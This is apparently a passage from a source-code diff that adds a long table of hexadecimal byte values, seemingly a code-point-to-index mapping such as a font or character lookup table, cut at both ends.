+0x00, 0x07, 0xC4, 0x18, 0x07, +0x00, 0x07, 0xC5, 0x19, 0x07, +0x00, 0x07, 0xC6, 0x1a, 0x07, +0x00, 0x07, 0xC7, 0x1b, 0x07, +0x00, 0x07, 0xC8, 0x1c, 0x07, +0x00, 0x07, 0xC9, 0x1d, 0x07, +0x00, 0x07, 0xCA, 0x1e, 0x07, +0x00, 0x07, 0xCB, 0x1f, 0x07, +0x00, 0x07, 0xCC, 0x20, 0x07, +0x00, 0x07, 0xCD, 0x21, 0x07, +0x00, 0x07, 0xCE, 0x22, 0x07, +0x00, 0x07, 0xCF, 0x23, 0x07, +0x00, 0x07, 0xD0, 0x24, 0x07, +0x00, 0x07, 0xD1, 0x57, 0x02, +0x00, 0x07, 0xD2, 0x25, 0x07, +0x00, 0x07, 0xD3, 0x26, 0x07, +0x00, 0x07, 0xD4, 0x27, 0x07, +0x00, 0x07, 0xD5, 0x28, 0x07, +0x00, 0x07, 0xD6, 0x29, 0x07, +0x00, 0x07, 0xD7, 0x2a, 0x07, +0x00, 0x07, 0xD8, 0x4a, 0x05, +0x00, 0x07, 0xD9, 0x2b, 0x07, +0x00, 0x07, 0xDA, 0x2c, 0x07, +0x00, 0x07, 0xDB, 0x2d, 0x07, +0x00, 0x07, 0xDC, 0x2e, 0x07, +0x00, 0x07, 0xDD, 0x2f, 0x07, +0x00, 0x07, 0xDE, 0x30, 0x07, +0x00, 0x07, 0xDF, 0x31, 0x07, +0x00, 0x07, 0xE0, 0x32, 0x07, +0x00, 0x07, 0xE1, 0x33, 0x07, +0x00, 0x07, 0xE2, 0x34, 0x07, +0x00, 0x07, 0xE3, 0x35, 0x07, +0x00, 0x07, 0xE4, 0x36, 0x07, +0x00, 0x07, 0xE5, 0x37, 0x07, +0x00, 0x07, 0xE6, 0x38, 0x07, +0x00, 0x07, 0xE7, 0x39, 0x07, +0x00, 0x07, 0xE8, 0x3a, 0x07, +0x00, 0x07, 0xE9, 0x82, 0x02, +0x00, 0x07, 0xEA, 0x3b, 0x07, +0x00, 0x07, 0xEB, 0x05, 0x00, +0x00, 0x07, 0xEC, 0x05, 0x00, +0x00, 0x07, 0xED, 0x3c, 0x07, +0x00, 0x07, 0xEE, 0x3d, 0x07, +0x00, 0x07, 0xEF, 0x3e, 0x07, +0x00, 0x07, 0xF0, 0x3f, 0x07, +0x00, 0x07, 0xF1, 0x40, 0x07, +0x00, 0x07, 0xF2, 0x41, 0x07, +0x00, 0x07, 0xF3, 0x42, 0x07, +0x00, 0x07, 0xF4, 0x43, 0x07, +0x00, 0x07, 0xF5, 0x44, 0x07, +0x00, 0x07, 0xF6, 0x45, 0x07, +0x00, 0x07, 0xF7, 0x46, 0x07, +0x00, 0x07, 0xF8, 0x47, 0x07, +0x00, 0x07, 0xF9, 0x48, 0x07, +0x00, 0x07, 0xFA, 0x49, 0x07, +0x00, 0x07, 0xFB, 0x4a, 0x07, +0x00, 0x07, 0xFC, 0x4b, 0x07, +0x00, 0x07, 0xFD, 0x4c, 0x07, +0x00, 0x07, 0xFE, 0x4d, 0x07, +0x00, 0x07, 0xFF, 0x4e, 0x07, +0x00, 0x08, 0x00, 0x4f, 0x07, +0x00, 0x08, 0x01, 0x50, 0x07, +0x00, 0x08, 0x02, 0xc9, 0x01, +0x00, 0x08, 0x03, 0x51, 0x07, +0x00, 0x08, 0x04, 0x52, 0x07, +0x00, 0x08, 0x05, 0x53, 0x07, +0x00, 0x08, 0x06, 0x54, 0x07, +0x00, 0x08, 0x07, 0x55, 0x07, +0x00, 0x08, 0x08, 0x56, 0x07, +0x00, 0x08, 0x09, 0x57, 0x07, +0x00, 0x08, 0x0A, 0x58, 0x07, +0x00, 0x08, 0x0B, 0x59, 0x07, +0x00, 0x08, 0x0C, 0x5a, 0x07, +0x00, 0x08, 0x0D, 0x32, 0x00, +0x00, 0x08, 0x0E, 0xb9, 0x00, +0x00, 0x08, 0x0F, 0x5b, 0x07, +0x00, 0x08, 0x10, 0x5c, 0x07, +0x00, 0x08, 0x11, 0x5d, 0x07, +0x00, 0x08, 0x12, 0x5e, 0x07, +0x00, 0x08, 0x13, 0x5f, 0x07, +0x00, 0x08, 0x14, 0x60, 0x07, +0x00, 0x08, 0x15, 0x61, 0x07, +0x00, 0x08, 0x16, 0x62, 0x07, +0x00, 0x08, 0x17, 0x63, 0x07, +0x00, 0x08, 0x18, 0x64, 0x07, +0x00, 0x08, 0x19, 0x65, 0x07, +0x00, 0x08, 0x1A, 0x66, 0x07, +0x00, 0x08, 0x1B, 0x67, 0x07, +0x00, 0x08, 0x1C, 0x68, 0x07, +0x00, 0x08, 0x1D, 0x69, 0x07, +0x00, 0x08, 0x1E, 0x6a, 0x07, +0x00, 0x08, 0x1F, 0x6b, 0x07, +0x00, 0x08, 0x20, 0x05, 0x00, +0x00, 0x08, 0x21, 0x05, 0x00, +0x00, 0x08, 0x22, 0x6c, 0x07, +0x00, 0x08, 0x23, 0x6d, 0x07, +0x00, 0x08, 0x24, 0x6e, 0x07, +0x00, 0x08, 0x25, 0x6f, 0x07, +0x00, 0x08, 0x26, 0x70, 0x07, +0x00, 0x08, 0x27, 0x71, 0x07, +0x00, 0x08, 0x28, 0x72, 0x07, +0x00, 0x08, 0x29, 0x73, 0x07, +0x00, 0x08, 0x2A, 0x74, 0x07, +0x00, 0x08, 0x2B, 0x75, 0x07, +0x00, 0x08, 0x2C, 0x76, 0x07, +0x00, 0x08, 0x2D, 0x77, 0x07, +0x00, 0x08, 0x2E, 0x78, 0x07, +0x00, 0x08, 0x2F, 0x05, 0x00, +0x00, 0x08, 0x30, 0x05, 0x00, +0x00, 0x08, 0x31, 0x05, 0x00, +0x00, 0x08, 0x32, 0x05, 0x00, +0x00, 0x08, 0x4E, 0x79, 0x07, +0x00, 0x08, 0x4F, 0x7a, 0x07, +0x00, 0x08, 0x50, 0x7b, 0x07, +0x00, 0x08, 0x51, 0x7c, 0x07, +0x00, 0x08, 0x52, 0x7d, 0x07, +0x00, 0x08, 0x53, 0x7e, 0x07, +0x00, 0x08, 0x54, 0x0d, 0x00, +0x00, 0x08, 0x55, 0x7f, 0x07, +0x00, 0x08, 0x56, 0x80, 0x07, +0x00, 0x08, 0x57, 0x81, 0x07, +0x00, 0x08, 0x58, 0x82, 0x07, +0x00, 0x08, 0x59, 0xe9, 0x01, +0x00, 0x08, 0x5A, 0x83, 0x07, +0x00, 0x08, 0x5B, 0x84, 0x07, +0x00, 0x08, 0x5C, 0x0e, 0x03, +0x00, 0x08, 0x5D, 0x85, 0x07, +0x00, 0x08, 0x5E, 0x86, 0x07, +0x00, 0x08, 0x5F, 0x87, 0x07, +0x00, 0x08, 0x60, 0x88, 0x07, +0x00, 0x08, 0x61, 0x89, 0x07, +0x00, 0x08, 0x62, 0x8a, 0x07, +0x00, 0x08, 0x63, 0x8b, 0x07, +0x00, 0x08, 0x64, 0x8c, 0x07, +0x00, 0x08, 0x65, 0x8d, 0x07, +0x00, 0x08, 0x66, 0x8e, 0x07, +0x00, 0x08, 0x67, 0x8f, 0x07, +0x00, 0x08, 0x68, 0x90, 0x07, +0x00, 0x08, 0x69, 0x91, 0x07, +0x00, 0x08, 0x6A, 0x92, 0x07, +0x00, 0x08, 0x6B, 0x93, 0x07, +0x00, 0x08, 0x6C, 0x94, 0x07, +0x00, 0x08, 0x6D, 0x95, 0x07, +0x00, 0x08, 0x6E, 0x96, 0x07, +0x00, 0x08, 0x6F, 0x3c, 0x05, +0x00, 0x08, 0x70, 0x97, 0x07, +0x00, 0x08, 0x71, 0x98, 0x07, +0x00, 0x08, 0x72, 0x99, 0x07, +0x00, 0x08, 0x73, 0x9a, 0x07, +0x00, 0x08, 0x74, 0xd1, 0x05, +0x00, 0x08, 0x75, 0x9b, 0x07, +0x00, 0x08, 0x76, 0x9c, 0x07, +0x00, 0x08, 0x77, 0x9d, 0x07, +0x00, 0x08, 0x78, 0x9e, 0x07, +0x00, 0x08, 0x79, 0x9f, 0x07, +0x00, 0x08, 0x7A, 0xa0, 0x07, +0x00, 0x08, 0x7B, 0xa1, 0x07, +0x00, 0x08, 0x7C, 0x05, 0x00, +0x00, 0x08, 0x7D, 0x05, 0x00, +0x00, 0x08, 0x7E, 0xa2, 0x07, +0x00, 0x08, 0x7F, 0xa3, 0x07, +0x00, 0x08, 0x80, 0xa4, 0x07, +0x00, 0x08, 0x81, 0xa5, 0x07, +0x00, 0x08, 0x82, 0xbd, 0x01, +0x00, 0x08, 0x83, 0xc9, 0x01, +0x00, 0x08, 0x84, 0xa6, 0x07, +0x00, 0x08, 0x85, 0xa7, 0x07, +0x00, 0x08, 0x86, 0xa8, 0x07, +0x00, 0x08, 0x87, 0xa9, 0x07, +0x00, 0x08, 0x88, 0xaa, 0x07, +0x00, 0x08, 0x89, 0xab, 0x07, +0x00, 0x08, 0x8A, 0xac, 0x07, +0x00, 0x08, 0x8B, 0xad, 0x07, +0x00, 0x08, 0x8C, 0xae, 0x07, +0x00, 0x08, 0x8D, 0xaf, 0x07, +0x00, 0x08, 0x8E, 0xb0, 0x07, +0x00, 0x08, 0x8F, 0xf7, 0x01, +0x00, 0x08, 0x90, 0xb1, 0x07, +0x00, 0x08, 0x91, 0xb2, 0x07, +0x00, 0x08, 0x92, 0xb3, 0x07, +0x00, 0x08, 0x93, 0xb4, 0x07, +0x00, 0x08, 0x94, 0xb5, 0x07, +0x00, 0x08, 0x95, 0xb6, 0x07, +0x00, 0x08, 0x96, 0xb7, 0x07, +0x00, 0x08, 0x97, 0xb8, 0x07, +0x00, 0x08, 0x98, 0xb9, 0x07, +0x00, 0x08, 0x99, 0xba, 0x07, +0x00, 0x08, 0x9A, 0xbb, 0x07, +0x00, 0x08, 0x9B, 0xbc, 0x07, +0x00, 0x08, 0x9C, 0xbd, 0x07, +0x00, 0x08, 0x9D, 0xbe, 0x07, +0x00, 0x08, 0x9E, 0xbf, 0x07, +0x00, 0x08, 0x9F, 0xc0, 0x07, +0x00, 0x08, 0xA0, 0xc1, 0x07, +0x00, 0x08, 0xA1, 0xc2, 0x07, +0x00, 0x08, 0xA2, 0xc3, 0x07, +0x00, 0x08, 0xA3, 0x05, 0x00, +0x00, 0x08, 0xA4, 0x05, 0x00, +0x00, 0x08, 0xA5, 0xc4, 0x07, +0x00, 0x08, 0xA6, 0xc5, 0x07, +0x00, 0x08, 0xA7, 0xc6, 0x07, +0x00, 0x08, 0xA8, 0xc7, 0x07, +0x00, 0x08, 0xA9, 0xc8, 0x07, +0x00, 0x08, 0xAA, 0xc9, 0x07, +0x00, 0x08, 0xAB, 0xca, 0x07, +0x00, 0x08, 0xAC, 0xcb, 0x07, +0x00, 0x08, 0xAD, 0xcc, 0x07, +0x00, 0x08, 0xAE, 0xcd, 0x07, +0x00, 0x08, 0xAF, 0xce, 0x07, +0x00, 0x08, 0xB0, 0xcf, 0x07, +0x00, 0x08, 0xB1, 0xd0, 0x07, +0x00, 0x08, 0xB2, 0xe9, 0x01, +0x00, 0x08, 0xB3, 0xd1, 0x07, +0x00, 0x08, 0xB4, 0xd2, 0x07, +0x00, 0x08, 0xB5, 0xd3, 0x07, +0x00, 0x08, 0xB6, 0xd4, 0x07, +0x00, 0x08, 0xB7, 0xd5, 0x07, +0x00, 0x08, 0xB8, 0xd6, 0x07, +0x00, 0x08, 0xB9, 0xd7, 0x07, +0x00, 0x08, 0xBA, 0xd8, 0x07, +0x00, 0x08, 0xBB, 0xd9, 0x07, +0x00, 0x08, 0xBC, 0xda, 0x07, +0x00, 0x08, 0xBD, 0xdb, 0x07, +0x00, 0x08, 0xBE, 0xdc, 0x07, +0x00, 0x08, 0xBF, 0xdd, 0x07, +0x00, 0x08, 0xC0, 0xde, 0x07, +0x00, 0x08, 0xC1, 0xdf, 0x07, +0x00, 0x08, 0xC2, 0x05, 0x00, +0x00, 0x08, 0xC3, 0xe0, 0x07, +0x00, 0x08, 0xC4, 0xe1, 0x07, +0x00, 0x08, 0xC5, 0xe2, 0x07, +0x00, 0x08, 0xC6, 0x44, 0x02, +0x00, 0x08, 0xC7, 0xc9, 0x01, +0x00, 0x08, 0xC8, 0xe3, 0x07, +0x00, 0x08, 0xC9, 0xe4, 0x07, +0x00, 0x08, 0xCA, 0xe5, 0x07, +0x00, 0x08, 0xCB, 0xe6, 0x07, +0x00, 0x08, 0xCC, 0xe7, 0x07, +0x00, 0x08, 0xCD, 0xe8, 0x07, +0x00, 0x08, 0xCE, 0xe9, 0x07, +0x00, 0x08, 0xCF, 0xea, 0x07, +0x00, 0x08, 0xD0, 0xeb, 0x07, +0x00, 0x08, 0xD1, 0xec, 0x07, +0x00, 0x08, 0xD2, 0xed, 0x07, +0x00, 0x08, 0xD3, 0xee, 0x07, +0x00, 0x08, 0xD4, 0xef, 0x07, +0x00, 0x08, 0xD5, 0xf0, 0x07, +0x00, 0x08, 0xD6, 0xf1, 0x07, +0x00, 0x08, 0xD7, 0xf2, 0x07, +0x00, 0x08, 0xD8, 0xf3, 0x07, +0x00, 0x08, 0xD9, 0xf4, 0x07, +0x00, 0x08, 0xDA, 0xf5, 0x07, +0x00, 0x08, 0xDB, 0xf6, 0x07, +0x00, 0x08, 0xDC, 0xf7, 0x07, +0x00, 0x08, 0xDD, 0xf8, 0x07, +0x00, 0x08, 0xDE, 0xf9, 0x07, +0x00, 0x08, 0xDF, 0xfa, 0x07, +0x00, 0x08, 0xE0, 0xfb, 0x07, +0x00, 0x08, 0xE1, 0xfc, 0x07, +0x00, 0x08, 0xE2, 0x05, 0x00, +0x00, 0x08, 0xE3, 0x05, 0x00, +0x00, 0x08, 0xE4, 0xfd, 0x07, +0x00, 0x08, 0xE5, 0xfe, 0x07, +0x00, 0x08, 0xE6, 0xff, 0x07, +0x00, 0x08, 0xE7, 0x00, 0x08, +0x00, 0x08, 0xE8, 0x01, 0x08, +0x00, 0x08, 0xE9, 0x02, 0x08, +0x00, 0x08, 0xEA, 0x03, 0x08, +0x00, 0x08, 0xEB, 0x04, 0x08, +0x00, 0x08, 0xEC, 0x05, 0x08, +0x00, 0x08, 0xED, 0x06, 0x08, +0x00, 0x08, 0xEE, 0x07, 0x08, +0x00, 0x08, 0xEF, 0x08, 0x08, +0x00, 0x08, 0xF0, 0x09, 0x08, +0x00, 0x08, 0xF1, 0x0a, 0x08, +0x00, 0x08, 0xF2, 0x0b, 0x08, +0x00, 0x08, 0xF3, 0x0c, 0x08, +0x00, 0x08, 0xF4, 0x0d, 0x08, +0x00, 0x08, 0xF5, 0x0e, 0x08, +0x00, 0x08, 0xF6, 0x58, 0x00, +0x00, 0x08, 0xF7, 0x0f, 0x08, +0x00, 0x08, 0xF8, 0x10, 0x08, +0x00, 0x08, 0xF9, 0x95, 0x01, +0x00, 0x08, 0xFA, 0x11, 0x08, +0x00, 0x08, 0xFB, 0x12, 0x08, +0x00, 0x08, 0xFC, 0x13, 0x08, +0x00, 0x08, 0xFD, 0x14, 0x08, +0x00, 0x08, 0xFE, 0x15, 0x08, +0x00, 0x08, 0xFF, 0x16, 0x08, +0x00, 0x09, 0x00, 0x17, 0x08, +0x00, 0x09, 0x01, 0xe9, 0x01, +0x00, 0x09, 0x02, 0x18, 0x08, +0x00, 0x09, 0x03, 0x19, 0x08, +0x00, 0x09, 0x04, 0x1a, 0x08, +0x00, 0x09, 0x05, 0x1b, 0x08, +0x00, 0x09, 0x06, 0x1c, 0x08, +0x00, 0x09, 0x07, 0x1d, 0x08, +0x00, 0x09, 0x08, 0x1e, 0x08, +0x00, 0x09, 0x09, 0x1f, 0x08, +0x00, 0x09, 0x0A, 0x20, 0x08, +0x00, 0x09, 0x0B, 0x21, 0x08, +0x00, 0x09, 0x0C, 0x22, 0x08, +0x00, 0x09, 0x0D, 0x23, 0x08, +0x00, 0x09, 0x0E, 0x24, 0x08, +0x00, 0x09, 0x0F, 0x25, 0x08, +0x00, 0x09, 0x10, 0x26, 0x08, +0x00, 0x09, 0x11, 0x05, 0x00, +0x00, 0x09, 0x12, 0x05, 0x00, +0x00, 0x09, 0x13, 0x27, 0x08, +0x00, 0x09, 0x14, 0x28, 0x08, +0x00, 0x09, 0x15, 0x29, 0x08, +0x00, 0x09, 0x16, 0x2a, 0x08, +0x00, 0x09, 0x17, 0x2b, 0x08, +0x00, 0x09, 0x18, 0x2c, 0x08, +0x00, 0x09, 0x19, 0x2d, 0x08, +0x00, 0x09, 0x1A, 0x2e, 0x08, +0x00, 0x09, 0x1B, 0x2f, 0x08, +0x00, 0x09, 0x1C, 0x30, 0x08, +0x00, 0x09, 0x1D, 0x31, 0x08, +0x00, 0x09, 0x1E, 0x32, 0x08, +0x00, 0x09, 0x1F, 0x33, 0x08, +0x00, 0x09, 0x20, 0x0d, 0x04, +0x00, 0x09, 0x21, 0x34, 0x08, +0x00, 0x09, 0x22, 0x35, 0x08, +0x00, 0x09, 0x23, 0x36, 0x08, +0x00, 0x09, 0x24, 0x37, 0x08, +0x00, 0x09, 0x25, 0x38, 0x08, +0x00, 0x09, 0x26, 0x39, 0x08, +0x00, 0x09, 0x27, 0x74, 0x04, +0x00, 0x09, 0x28, 0x3a, 0x08, +0x00, 0x09, 0x29, 0x3b, 0x08, +0x00, 0x09, 0x2A, 0x3c, 0x08, +0x00, 0x09, 0x2B, 0x3d, 0x08, +0x00, 0x09, 0x2C, 0x3e, 0x08, +0x00, 0x09, 0x2D, 0x3f, 0x08, +0x00, 0x09, 0x2E, 0x40, 0x08, +0x00, 0x09, 0x2F, 0x41, 0x08, +0x00, 0x09, 0x30, 0x42, 0x08, +0x00, 0x09, 0x31, 0x43, 0x08, +0x00, 0x09, 0x32, 0x44, 0x08, +0x00, 0x09, 0x33, 0x45, 0x08, +0x00, 0x09, 0x34, 0x46, 0x08, +0x00, 0x09, 0x35, 0x47, 0x08, +0x00, 0x09, 0x36, 0x48, 0x08, +0x00, 0x09, 0x37, 0x49, 0x08, +0x00, 0x09, 0x38, 0x4a, 0x08, +0x00, 0x09, 0x39, 0x4b, 0x08, +0x00, 0x09, 0x3A, 0x4c, 0x08, +0x00, 0x09, 0x3B, 0x4d, 0x08, +0x00, 0x09, 0x3C, 0x4e, 0x08, +0x00, 0x09, 0x3D, 0x4f, 0x08, +0x00, 0x09, 0x3E, 0x50, 0x08, +0x00, 0x09, 0x3F, 0x51, 0x08, +0x00, 0x09, 0x40, 0x52, 0x08, +0x00, 0x09, 0x41, 0xc0, 0x00, +0x00, 0x09, 0x42, 0x61, 0x01, +0x00, 0x09, 0x43, 0x05, 0x00, +0x00, 0x09, 0x44, 0x05, 0x00, +0x00, 0x09, 0x45, 0x53, 0x08, +0x00, 0x09, 0x46, 0x54, 0x08, +0x00, 0x09, 0x47, 0x55, 0x08, +0x00, 0x09, 0x48, 0x56, 0x08, +0x00, 0x09, 0x49, 0x57, 0x08, +0x00, 0x09, 0x4A, 0x58, 0x08, +0x00, 0x09, 0x4B, 0x59, 0x08, +0x00, 0x09, 0x4C, 0x5a, 0x08, +0x00, 0x09, 0x4D, 0x5b, 0x08, +0x00, 0x09, 0x4E, 0x5c, 0x08, +0x00, 0x09, 0x4F, 0x5d, 0x08, +0x00, 0x09, 0x50, 0x5e, 0x08, +0x00, 0x09, 0x51, 0x5f, 0x08, +0x00, 0x09, 0x52, 0x60, 0x08, +0x00, 0x09, 0x53, 0x61, 0x08, +0x00, 0x09, 0x54, 0x62, 0x08, +0x00, 0x09, 0x55, 0x63, 0x08, +0x00, 0x09, 0x56, 0x5e, 0x00, +0x00, 0x09, 0x57, 0x64, 0x08, +0x00, 0x09, 0x58, 0x65, 0x08, +0x00, 0x09, 0x59, 0x66, 0x08, +0x00, 0x09, 0x5A, 0x67, 0x08, +0x00, 0x09, 0x5B, 0x68, 0x08, +0x00, 0x09, 0x5C, 0x69, 0x08, +0x00, 0x09, 0x5D, 0x6a, 0x08, +0x00, 0x09, 0x5E, 0x6b, 0x08, +0x00, 0x09, 0x5F, 0x6c, 0x08, +0x00, 0x09, 0x60, 0x6d, 0x08, +0x00, 0x09, 0x61, 0x6e, 0x08, +0x00, 0x09, 0x62, 0x6f, 0x08, +0x00, 0x09, 0x63, 0x70, 0x08, +0x00, 0x09, 0x64, 0x71, 0x08, +0x00, 0x09, 0x65, 0x72, 0x08, +0x00, 0x09, 0x66, 0x73, 0x08, +0x00, 0x09, 0x67, 0x74, 0x08, +0x00, 0x09, 0x68, 0x75, 0x08, +0x00, 0x09, 0x69, 0x76, 0x08, +0x00, 0x09, 0x6A, 0x77, 0x08, +0x00, 0x09, 0x6B, 0x2f, 0x02, +0x00, 0x09, 0x6C, 0x78, 0x08, +0x00, 0x09, 0x6D, 0x79, 0x08, +0x00, 0x09, 0x6E, 0x7a, 0x08, +0x00, 0x09, 0x6F, 0x7b, 0x08, +0x00, 0x09, 0x70, 0x7c, 0x08, +0x00, 0x09, 0x71, 0x7d, 0x08, +0x00, 0x09, 0x72, 0x7e, 0x08, +0x00, 0x09, 0x73, 0x7f, 0x08, +0x00, 0x09, 0x74, 0x80, 0x08, +0x00, 0x09, 0x75, 0x81, 0x08, +0x00, 0x09, 0x76, 0x82, 0x08, +0x00, 0x09, 0x77, 0x83, 0x08, +0x00, 0x09, 0x78, 0x84, 0x08, +0x00, 0x09, 0x79, 0xf7, 0x01, +0x00, 0x09, 0x7A, 0x85, 0x08, +0x00, 0x09, 0x7B, 0x05, 0x00, +0x00, 0x09, 0x7C, 0x05, 0x00, +0x00, 0x09, 0x7D, 0x86, 0x08, +0x00, 0x09, 0x7E, 0x87, 0x08, +0x00, 0x09, 0x7F, 0x88, 0x08, +0x00, 0x09, 0x80, 0x89, 0x08, +0x00, 0x09, 0x81, 0x8a, 0x08, +0x00, 0x09, 0x82, 0x8b, 0x08, +0x00, 0x09, 0x83, 0x8c, 0x08, +0x00, 0x09, 0x84, 0x8d, 0x08, +0x00, 0x09, 0x85, 0x8e, 0x08, +0x00, 0x09, 0x86, 0x8f, 0x08, +0x00, 0x09, 0x87, 0x90, 0x08, +0x00, 0x09, 0x88, 0x91, 0x08, +0x00, 0x09, 0x89, 0x92, 0x08, +0x00, 0x09, 0x8A, 0x93, 0x08, +0x00, 0x09, 0x8B, 0x94, 0x08, +0x00, 0x09, 0x8C, 0x95, 0x08, +0x00, 0x09, 0x8D, 0x96, 0x08, +0x00, 0x09, 0x8E, 0x97, 0x08, +0x00, 0x09, 0x8F, 0x98, 0x08, +0x00, 0x09, 0x90, 0x99, 0x08, +0x00, 0x09, 0x91, 0x9a, 0x08, +0x00, 0x09, 0x92, 0x9b, 0x08, +0x00, 0x09, 0x93, 0x9c, 0x08, +0x00, 0x09, 0x94, 0x9d, 0x08, +0x00, 0x09, 0x95, 0x9e, 0x08, +0x00, 0x09, 0x96, 0x9f, 0x08, +0x00, 0x09, 0x97, 0x69, 0x01, +0x00, 0x09, 0x98, 0xa0, 0x08, +0x00, 0x09, 0x99, 0xa1, 0x08, +0x00, 0x09, 0x9A, 0xa2, 0x08, +0x00, 0x09, 0x9B, 0xa3, 0x08, +0x00, 0x09, 0x9C, 0xa4, 0x08, +0x00, 0x09, 0x9D, 0xa5, 0x08, +0x00, 0x09, 0x9E, 0xa6, 0x08, +0x00, 0x09, 0x9F, 0xa7, 0x08, +0x00, 0x09, 0xA0, 0xa8, 0x08, +0x00, 0x09, 0xA1, 0xa9, 0x08, +0x00, 0x09, 0xA2, 0xaa, 0x08, +0x00, 0x09, 0xA3, 0xab, 0x08, +0x00, 0x09, 0xA4, 0xac, 0x08, +0x00, 0x09, 0xA5, 0xad, 0x08, +0x00, 0x09, 0xA6, 0xae, 0x08, +0x00, 0x09, 0xA7, 0xaf, 0x08, +0x00, 0x09, 0xA8, 0xb0, 0x08, +0x00, 0x09, 0xA9, 0xb1, 0x08, +0x00, 0x09, 0xAA, 0xb2, 0x08, +0x00, 0x09, 0xAB, 0xb3, 0x08, +0x00, 0x09, 0xAC, 0xb4, 0x08, +0x00, 0x09, 0xAD, 0xb5, 0x08, +0x00, 0x09, 0xAE, 0xb6, 0x08, +0x00, 0x09, 0xAF, 0xb7, 0x08, +0x00, 0x09, 0xB0, 0xb8, 0x08, +0x00, 0x09, 0xB1, 0xb9, 0x08, +0x00, 0x09, 0xB2, 0xba, 0x08, +0x00, 0x09, 0xB3, 0xbb, 0x08, +0x00, 0x09, 0xB4, 0xbc, 0x08, +0x00, 0x09, 0xB5, 0xbd, 0x08, +0x00, 0x09, 0xB6, 0x05, 0x00, +0x00, 0x09, 0xB7, 0x05, 0x00, +0x00, 0x09, 0xB8, 0xbe, 0x08, +0x00, 0x09, 0xB9, 0xbf, 0x08, +0x00, 0x09, 0xBA, 0xc0, 0x08, +0x00, 0x09, 0xBB, 0xc1, 0x08, +0x00, 0x09, 0xBC, 0xc2, 0x08, +0x00, 0x09, 0xBD, 0xc3, 0x08, +0x00, 0x09, 0xBE, 0xc4, 0x08, +0x00, 0x09, 0xBF, 0xc5, 0x08, +0x00, 0x09, 0xC0, 0xc6, 0x08, +0x00, 0x09, 0xC1, 0xc7, 0x08, +0x00, 0x09, 0xC2, 0xc8, 0x08, +0x00, 0x09, 0xC3, 0xc9, 0x08, +0x00, 0x09, 0xC4, 0xca, 0x08, +0x00, 0x09, 0xC5, 0xcb, 0x08, +0x00, 0x09, 0xC6, 0xcc, 0x08, +0x00, 0x09, 0xC7, 0xcd, 0x08, +0x00, 0x09, 0xC8, 0xce, 0x08, +0x00, 0x09, 0xC9, 0xcf, 0x08, +0x00, 0x09, 0xCA, 0xd0, 0x08, +0x00, 0x09, 0xCB, 0xd1, 0x08, +0x00, 0x09, 0xCC, 0xd2, 0x08, +0x00, 0x09, 0xCD, 0xd3, 0x08, +0x00, 0x09, 0xCE, 0xd4, 0x08, +0x00, 0x09, 0xCF, 0xd5, 0x08, +0x00, 0x09, 0xD0, 0xd6, 0x08, +0x00, 0x09, 0xD1, 0xd7, 0x08, +0x00, 0x09, 0xD2, 0xd8, 0x08, +0x00, 0x09, 0xD3, 0xb5, 0x00, +0x00, 0x09, 0xD4, 0xd9, 0x08, +0x00, 0x09, 0xD5, 0x76, 0x03, +0x00, 0x09, 0xD6, 0xda, 0x08, +0x00, 0x09, 0xD7, 0xdb, 0x08, +0x00, 0x09, 0xD8, 0xdc, 0x08, +0x00, 0x09, 0xD9, 0xdd, 0x08, +0x00, 0x09, 0xDA, 0x34, 0x03, +0x00, 0x09, 0xDB, 0xde, 0x08, +0x00, 0x09, 0xDC, 0xdf, 0x08, +0x00, 0x09, 0xDD, 0xe0, 0x08, +0x00, 0x09, 0xDE, 0xe1, 0x08, +0x00, 0x09, 0xDF, 0xe2, 0x08, +0x00, 0x09, 0xE0, 0xe3, 0x08, +0x00, 0x09, 0xE1, 0xe4, 0x08, +0x00, 0x09, 0xE2, 0xe5, 0x08, +0x00, 0x09, 0xE3, 0xe6, 0x08, +0x00, 0x09, 0xE4, 0xe7, 0x08, +0x00, 0x09, 0xE5, 0xe8, 0x08, +0x00, 0x09, 0xE6, 0xe9, 0x08, +0x00, 0x09, 0xE7, 0xea, 0x08, +0x00, 0x09, 0xE8, 0x05, 0x00, +0x00, 0x09, 0xE9, 0x05, 0x00, +0x00, 0x09, 0xEA, 0xeb, 0x08, +0x00, 0x09, 0xEB, 0xec, 0x08, +0x00, 0x09, 0xEC, 0xed, 0x08, +0x00, 0x09, 0xED, 0xee, 0x08, +0x00, 0x09, 0xEE, 0xef, 0x08, +0x00, 0x09, 0xEF, 0xf0, 0x08, +0x00, 0x09, 0xF0, 0xf1, 0x08, +0x00, 0x09, 0xF1, 0xf2, 0x08, +0x00, 0x09, 0xF2, 0xf3, 0x08, +0x00, 0x09, 0xF3, 0xf4, 0x08, +0x00, 0x09, 0xF4, 0xf5, 0x08, +0x00, 0x09, 0xF5, 0xf6, 0x08, +0x00, 0x09, 0xF6, 0xe9, 0x01, +0x00, 0x09, 0xF7, 0xf7, 0x08, +0x00, 0x09, 0xF8, 0xf8, 0x08, +0x00, 0x09, 0xF9, 0xf9, 0x08, +0x00, 0x09, 0xFB, 0xfa, 0x08, +0x00, 0x09, 0xFC, 0xfb, 0x08, +0x00, 0x09, 0xFD, 0xfc, 0x08, +0x00, 0x09, 0xFE, 0xfd, 0x08, +0x00, 0x09, 0xFF, 0xfe, 0x08, +0x00, 0x0A, 0x00, 0xff, 0x08, +0x00, 0x0A, 0x01, 0x00, 0x09, +0x00, 0x0A, 0x02, 0x01, 0x09, +0x00, 0x0A, 0x03, 0x02, 0x09, +0x00, 0x0A, 0x04, 0xf2, 0x00, +0x00, 0x0A, 0x05, 0x03, 0x09, +0x00, 0x0A, 0x06, 0x04, 0x09, +0x00, 0x0A, 0x07, 0x05, 0x09, +0x00, 0x0A, 0x08, 0x06, 0x09, +0x00, 0x0A, 0x09, 0x07, 0x09, +0x00, 0x0A, 0x0A, 0x08, 0x09, +0x00, 0x0A, 0x0B, 0x09, 0x09, +0x00, 0x0A, 0x0C, 0x8c, 0x01, +0x00, 0x0A, 0x0D, 0x0a, 0x09, +0x00, 0x0A, 0x0E, 0x0b, 0x09, +0x00, 0x0A, 0x0F, 0x0c, 0x09, +0x00, 0x0A, 0x10, 0x0d, 0x09, +0x00, 0x0A, 0x11, 0x0e, 0x09, +0x00, 0x0A, 0x12, 0x0f, 0x09, +0x00, 0x0A, 0x13, 0xc2, 0x05, +0x00, 0x0A, 0x14, 0x10, 0x09, +0x00, 0x0A, 0x15, 0x11, 0x09, +0x00, 0x0A, 0x16, 0x12, 0x09, +0x00, 0x0A, 0x17, 0x13, 0x09, +0x00, 0x0A, 0x18, 0x14, 0x09, +0x00, 0x0A, 0x19, 0x15, 0x09, +0x00, 0x0A, 0x1A, 0x16, 0x09, +0x00, 0x0A, 0x1B, 0x17, 